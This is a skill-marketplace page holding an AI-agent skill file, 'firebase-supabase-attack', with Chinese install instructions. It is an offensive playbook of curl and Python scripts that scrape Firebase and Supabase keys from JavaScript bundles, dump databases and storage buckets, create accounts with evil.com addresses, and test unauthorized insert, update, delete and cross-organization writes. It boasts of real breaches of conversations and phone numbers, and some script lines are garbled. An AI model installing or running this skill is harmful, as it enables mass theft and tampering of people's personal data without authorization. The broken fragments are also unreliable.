用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/Wyl-cmd/kxns-cli --skill firebase-supabase-attack命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
Hermes Agent features guide — cron, delegation, memory, automation, YOLO mode, dual-agent hunting, and slash commands for the agentiko Telegram setup
Worker container environment — tools, paths, and usage patterns for the remote SSH terminal
Exploit no-auth APIs for data theft and CRUD via probes.
基于 SOC 职业分类
正在显示 SKILL.md
| name | firebase-supabase-attack |
| description | Exploit Firebase/Supabase for data via JS config leak probe. |
| version | 1.0.0 |
| author | uphiago |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, nmap, python3, masscan, subfinder, httpx, nuclei |
| metadata | {"tags":["recon","firebase","supabase","firestore","cloud","data-breach"],"category":"recon","related_skills":["api-noauth-hunt","js-secrets-extraction","hunt-source-leak"]} |
Exploit misconfigured Firebase (Firestore, Storage, Auth) and Supabase (REST API, Storage, Auth) backends. These BaaS platforms are the #1 source of massive data breaches in modern web apps when Row Level Security (RLS) is missing and API keys leak in JavaScript bundles. Confirmed on delivery-platform (204K WhatsApp conversations, 173K phone numbers), visa-processing-platform (64K users, 46K reports), fitness-chain (39K users, 5 Firebase projects, 21 credentials), dental-booking (9 clinics, 1,749 leads).
apiKey, projectId) or Supabase URL + anon key.js-secrets-extraction finds Firebase/Supabase identifiers.hunt-source-leak finds .env with FIREBASE_* or SUPABASE_* variables.terminal tool with curl, python3, jq.python3 with google-auth library.# Firebase Firestore — list collections (if public)
curl -sk "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents/"
# Supabase — list users table (if RLS missing)
curl -sk "https://PROJECT.supabase.co/rest/v1/users" \
-H "apikey: ANON_KEY" -H "Authorization: Bearer ANON_KEY"
# Supabase — test signup (if open)
curl -sk -X POST "https://PROJECT.supabase.co/auth/v1/signup" \
-H "apikey: ANON_KEY" -H "Content-Type: application/json" \
-d '{"email":"test@evil.com","password":"Test123!"}'
| Platform | What to Find | Exploit Path | Real Example |
|---|---|---|---|
| Firebase Firestore | Public database rules | Direct REST API access, list all collections | delivery-platform: 204K conversations public |
| Firebase Storage | Public bucket rules | Download all files via REST API | delivery-platform: 1,000+ WhatsApp audio files public |
| Firebase Auth | Open signup | Create accounts, access protected resources | fitness-chain: Firebase Auth signup open |
| Firebase SA Key | Service account JSON | GCP IAM escalation, access all GCP resources | fitness-chain: 5 SA keys → full GCP access |
| Supabase REST | Missing RLS | SELECT/INSERT/UPDATE/DELETE on any table | visa-processing-platform: 64K users, 46K reports, DELETE confirmed |
| Supabase Storage | Public buckets | Download all files, upload malicious content | visa-processing-platform: public PDF reports bucket |
| Supabase Auth | Open signup | Create accounts, bypass access controls | dental-booking: open signup + auto-confirm |
TARGET="$1"
OUTDIR="/root/output/firebase_supabase/$TARGET"
mkdir -p "$OUTDIR"
# Download homepage and common JS entry points
curl -sk "https://$TARGET/" -o "$OUTDIR/index.html"
curl -sk "https://$TARGET/app.js" -o "$OUTDIR/app.js" 2>/dev/null
curl -sk "https://$TARGET/main.js" -o "$OUTDIR/main.js" 2>/dev/null
echo "[*] Extracting Firebase/Supabase configs..."
# Firebase config pattern
grep -oP 'apiKey["\s:]+["][^"]+["]|projectId["\s:]+["][^"]+["]|firebase\.initializeApp' \
"$OUTDIR"/*.html "$OUTDIR"/*.js 2>/dev/null | sort -u
# Supabase config pattern
grep -oP 'supabase\.co[^"'\'' ]+|supabaseUrl["\s:]+["][^"]+["]|supabaseKey["\s:]+["][^"]+["]|anon[_-]?key["\s:=]+["][^"]{20,}["]' \
"$OUTDIR"/*.html "$OUTDIR"/*.js 2>/dev/null | sort -u
PROJECT_ID="$1" # e.g., delivery-bot-platform
echo "[*] Firestore enumeration for $PROJECT_ID"
# List root collections (if public)
curl -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/" | \
python3 -c "
import sys, json
try:
data = json.load(sys.stdin)
if 'documents' in data:
print(f'ERROR: {len(data[\"documents\"])} root docs — not a collection list')
else:
for k in data.keys():
print(f'Collection: {k}')
except Exception as e:
print(f'Error: {e}')
print(sys.stdin.read()[:500])
" 2>/dev/null
# If Firestore requires auth, try with Firebase ID token from Auth
# (see Phase 4 for token generation via signup)
PROJECT_ID="$1"
COLLECTION="$2" # e.g., conversationsV3, users, stores
echo "[*] Accessing collection: $COLLECTION"
# List documents in collection
curl -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/$COLLECTION" | \
python3 -c "
import sys, json
data = json.load(sys.stdin)
if 'documents' in data:
print(f'Documents found: {len(data[\"documents\"])}')
for doc in data['documents'][:5]:
name = doc['name'].split('/')[-1]
fields = doc.get('fields', {})
# Extract top-level fields
keys = list(fields.keys())[:10]
print(f' {name}: {keys}')
if len(data['documents']) > 5:
print(f' ... and {len(data[\"documents\"]) - 5} more')
elif 'error' in data:
print(f'Error: {data[\"error\"][\"message\"]}')
" 2>/dev/null
# Read a specific document
DOC_ID="$3" # from the listing above
curl -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/$COLLECTION/$DOC_ID" | \
python3 -m json.tool 2>/dev/null | head -50
API_KEY="$1" # from JS bundle (web API key)
PROJECT_ID="$2"
echo "[*] Testing Firebase Auth signup on $PROJECT_ID"
# Sign up
SIGNUP_RESP=$(curl -sk -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
-H "Content-Type: application/json" \
-d '{"email":"test-'$(date +%s)'@evil.com","password":"TestPass123!","returnSecureToken":true}')
if echo "$SIGNUP_RESP" | grep -q "idToken"; then
echo "[+] SIGNUP OPEN — account created!"
ID_TOKEN=$(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['idToken'])" 2>/dev/null)
echo " ID Token: ${ID_TOKEN:0:50}..."
# Now use this token with Firestore
echo "[*] Testing Firestore access with ID token..."
curl -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/" \
-H "Authorization: Bearer $ID_TOKEN" | python3 -c "
import sys, json
data = json.load(sys.stdin)
if 'documents' in data:
print(f'[+] ACCESS GRANTED — {len(data[\"documents\"])} collections visible')
elif 'error' in data:
print(f'[-] Access denied: {data[\"error\"][\"message\"]}')
else:
print(f'[?] Unknown response: {list(data.keys())}')
" 2>/dev/null
else
echo "[-] Signup blocked: "
PROJECT_ID="$1"
BUCKET="${PROJECT_ID}.appspot.com" # default bucket name
echo "[*] Storage enumeration for $BUCKET"
# List objects (if public)
curl -sk "https://storage.googleapis.com/storage/v1/b/$BUCKET/o" | \
python3 -c "
import sys, json
data = json.load(sys.stdin)
if 'items' in data:
total = len(data['items'])
total_size = sum(int(i.get('size', 0)) for i in data['items'])
print(f'Objects: {total} ({total_size:,} bytes)')
for item in data['items'][:5]:
print(f' {item[\"name\"]} ({item.get(\"size\",0):,} bytes)')
elif 'error' in data:
print(f'Error: {data[\"error\"][\"message\"]}')
"
# Download a specific file
OBJECT_NAME="$2" # from listing
curl -sk "https://storage.googleapis.com/storage/v1/b/$BUCKET/o/$OBJECT_NAME?alt=media" \
-o "/tmp/firebase_$OBJECT_NAME"
echo "[+] Downloaded to /tmp/firebase_$OBJECT_NAME"
SUPABASE_URL="$1" # e.g., https://gfgmuezavgzjmaxhflsu.supabase.co
ANON_KEY="$2" # from JS bundle
echo "[*] Supabase REST API enumeration"
# Schema discovery — list tables by querying common names
TABLES=("users" "profiles" "organizations" "posts" "comments" "purchases"
"orders" "products" "reports" "relatorios" "documents" "files"
"messages" "conversations" "sessions" "audit_logs")
for table in "${TABLES[@]}"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 \
"$SUPABASE_URL/rest/v1/$table?limit=1" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" 2>/dev/null)
if [[ "$code" == "200" ]]; then
count=$(curl -sk "$SUPABASE_URL/rest/v1/$table?limit=0" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
-H -I 2>/dev/null | grep -i | grep -oP )
curl -sk \
-H -H | \
python3 -m json.tool 2>/dev/null | -20
[[ == || == ]];
SUPABASE_URL="$1"
ANON_KEY="$2"
TABLE="$3" # from table discovery above
echo "[*] CRUD testing on $TABLE"
# INSERT
echo -n " INSERT: "
curl -sk -X POST "$SUPABASE_URL/rest/v1/$TABLE" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
-H "Content-Type: application/json" -H "Prefer: return=minimal" \
-d '{"test":"rls_bypass_probe_'$(date +%s)'"}' \
-o /dev/null -w "%{http_code}" 2>/dev/null
echo ""
# UPDATE (PATCH)
echo -n " UPDATE: "
curl -sk -X PATCH "$SUPABASE_URL/rest/v1/$TABLE?test=eq.RLS_BYPASS" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
-H "Content-Type: application/json" -H "Prefer: return=minimal" \
-d '{"test":"rls_updated"}' \
-o /dev/null -w "%{http_code}" 2>/dev/null
echo ""
# DELETE
echo -n " DELETE: "
curl -sk -X DELETE "$SUPABASE_URL/rest/v1/$TABLE?test=eq.RLS_BYPASS" \
-H -H \
-H \
-o /dev/null -w 2>/dev/null
SUPABASE_URL="$1"
ANON_KEY="$2"
echo "[*] Supabase Auth signup test"
SIGNUP_RESP=$(curl -sk -X POST "$SUPABASE_URL/auth/v1/signup" \
-H "apikey: $ANON_KEY" -H "Content-Type: application/json" \
-d '{"email":"test-'$(date +%s)'@evil.com","password":"TestPass123!"}')
if echo "$SIGNUP_RESP" | grep -q "access_token"; then
echo "[+] SIGNUP OPEN!"
ACCESS_TOKEN=$(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])" 2>/dev/null)
echo " Access Token: ${ACCESS_TOKEN:0:50}..."
# Test cross-org access (change organization_id in profile)
curl -sk -X PATCH "$SUPABASE_URL/rest/v1/profiles?id=eq.$(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])" 2>/dev/null)" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" -H "Prefer: return=representation" \
-d '{"organization_id":1}' 2>/dev/null | python3 -m json.tool 2>/dev/null
echo " [*] If the above returned data for org_id=1, cross-organization access works"
conversationsV3: 204K WhatsApp conversations, 173K unique phone numbers, 497 stores — PUBLICLY READABLEstores: 4,000 stores with CNPJ, phone, GPS, menu — PATCH write confirmedAIzaSy...USd4 or similar truncation. This happens when the bundler splits the key across multiple string literals or when the key references a variable defined elsewhere. If the Firebase API tests return "API key not valid", the key may be a partial match from the regex. Extract the surrounding context (50+ chars on each side) to find the complete key.medxgo-2e637) may exist in the GCP project registry but have no deployed Firebase resources (no Firestore, no Hosting, no Storage). Check /firebaseapp.com, /firebaseio.com, and /firestore.googleapis.com independently — each may return different results.idToken or access_token in the response.